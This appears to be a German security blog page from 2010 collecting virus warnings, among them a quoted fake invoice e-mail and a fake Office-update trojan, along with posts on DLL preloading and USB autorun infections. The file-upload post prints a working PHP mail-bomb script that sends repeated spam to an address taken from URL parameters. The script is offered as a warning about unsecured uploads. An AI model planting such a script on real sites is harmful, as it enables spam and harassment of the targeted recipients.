Das Sony VAIO Notebook wird in Kürze versendet. Die Kosten von 715,- Euro werden Ihrem Konto zu Last gelegt. Die Einzelheiten zu Ihrer Bestellung entnehmen Sie bitte der angefügten Rechnung. Falls Sie die Bestellung stornieren möchte, bitte den in der Rechnung angegebenen Kundenservice anrufen und Ihre Bestellnummer bereithalten. Eine Kopie der Rechnung wird Ihnen in den nächsten Tagen schriftlich zugestellt.
Virus: Dldr.iBill.Z
Virustyp: Trojaner
Dateigröße: 12.800 Bytes
Betroffene Betriebssysteme: Alle Windows-Versionen
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Gefälschter Office-Patch versucht Ihr System zu kapern
Der Trojaner Badware12 ist unterwegs und versucht Anwendern ein falsches Microsoft Office-Update vorzugaukeln. Die E-Mail ist angeblich vom Onlinedienst MSN und enthält ein Update für Office 2007. Das ist natürlich gelogen: Wer dem Link in der E-Mail folgt, erhält kein Update, sondern einen gefährlichen Trojaner untergeschoben.
Die E-Mail hat folgendes Aussehen:
Betreff: „Update for Office 2007 only“
E-Mail-Text: unterschiedlicher Text
Betroffene Betriebssysteme: Alle Windows-Versionen
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Dienstag, 7. September 2010

Die Zeiten sind Scheiße

Und werden sicherlich noch beschissener!
Wer es trotzdem nicht lassen kann und sich für die bürgerlichen Werte unserer freiheitlichen demokratischen Grundordnung einsetzen will, wenn es sein muß, der / die / das sollte sich von denen, die täglich damit zu tun haben, beraten lassen, denn Hollywood ist verdammt weit weg und die harte Realität unterscheidet sich immens von der schönen heilen Welt, die uns neben den häslichen Nachrichten täglich aus den Medien berieselt.

So kann ich helfen (richtig)

http://www.aktion-tu-was.de/

Zitat:
Zivilcourage lässt sich lernen – zum Beispiel im Unterricht oder in der Jugendarbeit. Speziell hierfür entwickelt wurde ein Medienpaket, das aus einer DVD und einem Filmbegleitheft besteht. Die DVD enthält vier Filme, die das Thema "Zivilcourage" im Zusammenhang mit den Aspekten Alkohol/Gewalt, Drogendeal, Handyraub und Ladendiebstahl behandeln.

Kleiner Surftip am Rande:
https://www.buerger-cert.de/archiv.aspx

Mit Dateiuploads sich den Tag versauen

Wir haben schon auf allen möglichen Websites darauf hingewiesen, Dateiuploadmöglichkeiten genügend abzusichern. folgende kleines Snippet soll zeigen, wie stinkeinfach es ist eine WebSite mit Dateiupload als Spam und Virenschleuder zu verwenden.

$t="Sp0wnd!";
$n="Y0u @r3 Sp0wnd by ~B4CksT0r~";
$a="~B@(ksT0r~";
$e=$_GET['e'];
$az=$_GET['az'];

for($i=0;$i<$az;$i++){
mail($e, $t, $n,"From: $a <$a>");
}
?>

Dabei ist dieser kleine Mehrzeiler nicht gerade ein Ausbruch an Intelligenz, sondern eher Mittelklasse, da er nicht mehr wie fachliche Grundkenntnisse verlangt und trotzdem wird die IP schön versteckt nur für wenige bekannt garantiert nie den wirklichen Spammer verraten. Es ist andererseits mit der FOR Abfrage schon direkt ein Riesenschritt von den profanen und allseits beliebten Übergabe URLs der Spammer für Gästebücher und andere Kommunikationsmöglichkeiten mit WebSites.

Wir empfehlen zur Spamvermeidung durch ÜbergabeURLs das bewährte ReCaptcha System:
http://www.google.com/recaptcha

Die DLL Suchroutine beeinflussen

Der zweite Beitrag im Virenbastelkurs dieses Monats befasst sich mit einer zur Zeit sehr beliebten Masche bei der über eine vorab geladene DLL die User einschließlich der Schutzsysteme überlistet werden.
Microsoft hat anscheinend auf Grund der vielfältigen Konfigurations- und daraus folgenden Fehlermöglichkeiten des Patches auf den beliebeten One Klick Button zu verzichten. Ist wohl wirklich nicht möglich es einigermaßen passend zu gestalten, ohne allzu viele wütende Kunden zur Konkurrenz zu treiben!

Jeder Programmierer weiß das die OS Ihre Daten auf einem vorgeschriebenen Weg suchen. mit Einführung der vielen Applikationen die inzwischen über das Web laufen, kam wohl irgendjemand die Idee, na dann kann ich ja auch DLLs des Zielsystems auf meinem Server aufrufen lassen. Im Zusammenhang mit dem ClickJacking kann dabei natürlich echt die Post abgehen,.dementsprechend bleibt folgerichtig nur eine vorherige starre Beeinflussung des Suchweges übrig.
Deshalb muß zum Schutz als erstes der DLL Suchpfad angepasst.

Ein neuer Registrierungseintrag "CWDIllegalInDllSearch" zum Steuern des DLL-Suchpfadalgorithmus ist verfügbar

Fachchinesisch
Dieses Update führt den neuen Registrierungseintrag CWDIllegalInDllSearch ein, mit dem Benutzer den DLL-Suchpfadalgorithmus steuern können. Der DLL-Suchpfadalgorithmus wird von der LoadLibrary-API und der LoadLibraryEx-API verwendet, wenn DLLs ohne Angabe eines vollqualifizierten Pfads geladen werden.

Genaue Erläuterung bei Microsoft:
http://support.microsoft.com/kb/2264107
am Ende der Seite muß im ersten Schritt als erstes der passende Patch für das OS des Zielrechners heruntergeladen und installiert werden.

Als Zweites muß das FixIT heruntergeladen und installiert werden.
bei Technet
An update on the DLL-preloading remote attack vector

http://blogs.technet.com/b/srd/archive/2010/08/31/an-update-on-the-dll-preloading-remote-attack-vector.aspx

Hinterher muß natürlich noch der/die schlaue Sysadmin das FixIt gut und passend zu konfigurieren, woran die meisten wohl scheitern werden. Was natürlich im Rückschluß ein richtig tolles Potential zur Verfügung stellt!

Bleibt nur zu Wünschen übrig, daß sich ein ausreichend dummer Hund findet, dieses Scheunentor im Sicherheitssystem zu stopfen!

Virenverbreitung per USB macht sich breit

Auch wenn ich mal wieder frage, wo das Hirn bei jungen Menschen abgeblieben ist, so möchte ich doch auf eine recht simple aber sehr effektvolle, weil mal wieder von hinten ausgeführte, Verbreitung von Viren aufmerksam zu machen. USB Anschlüsse sind die am weitesten verbreitete Art IT Geräte miteinander zu verbinden. Dabei wird für die vielen lukrativen Computergenies die Windows interne Autorun.inf  Funktionalität genutzt von den guten und den Bösen. Jede poppelige Autorun.inf ist nur eine primitive Text Datei. Der Unterschied zwischen den Beiden ist die Gute verweist auf ein ordentliches Anwendungsprogramm und die Böse auf einen Virus.

Tja manche Böse sind mit guten Verbindungen ausgestattet, davon kann Panda und Vodafone ein Liedchen trällern, der Text geht ungefähr so:
Eine spanische Panda Mitarbeiterin entdeckte Anfang März schädliche Software auf ihrem neu erstandenen Smartphone HTC Magic von Vodafone. Als sie das Handy über USB an ihren PC anschloss, schlug die installierte Panda Cloud Antivirus Software sofort Alarm. Eine Analyse ergab, dass es sich bei dem Handy tatsächlich um einen Mariposa Bot Client handelte. Zusätzlich entdeckte unser spanischer Malware-Experte Pedro Bustamante weitere Malware wie den Conficker-Wurm und einen Trojaner auf der Speicherkarte des Vodafone-Geräts.

Der Text von Panda geht hier weiter:
http://www.pandasecurity.com/germany/enterprise/media/press-releases/viewnews?noticia=10120

Der Text von Panda & Vodafone geht hier weiter:
http://research.pandasecurity.com/vodafone-distributes-mariposa/

Wer sich diese Art der Virenverbreitung mit Proggys vom Hals halten möchte:
mit Vaccine bei Panda:
http://free.pandasecurity.com/de/

mit Tweak UI bei Microsoft:
http://www.microsoft.com/windowsxp/downloads/powertoys/default.mspx

mit dem Autorun.inf Editor von Karen's Power Tools
http://www.karenware.com/powertools/powertools.asp

Für andere die es mit Grips versuchen:
in English:
http://msdn.microsoft.com/de-de/library/bb776825.aspx

in Deutsch:
http://www.fz-juelich.de/jsc/files/net/security/inf-xp/No-AutoRun/no-autorun-zam.htm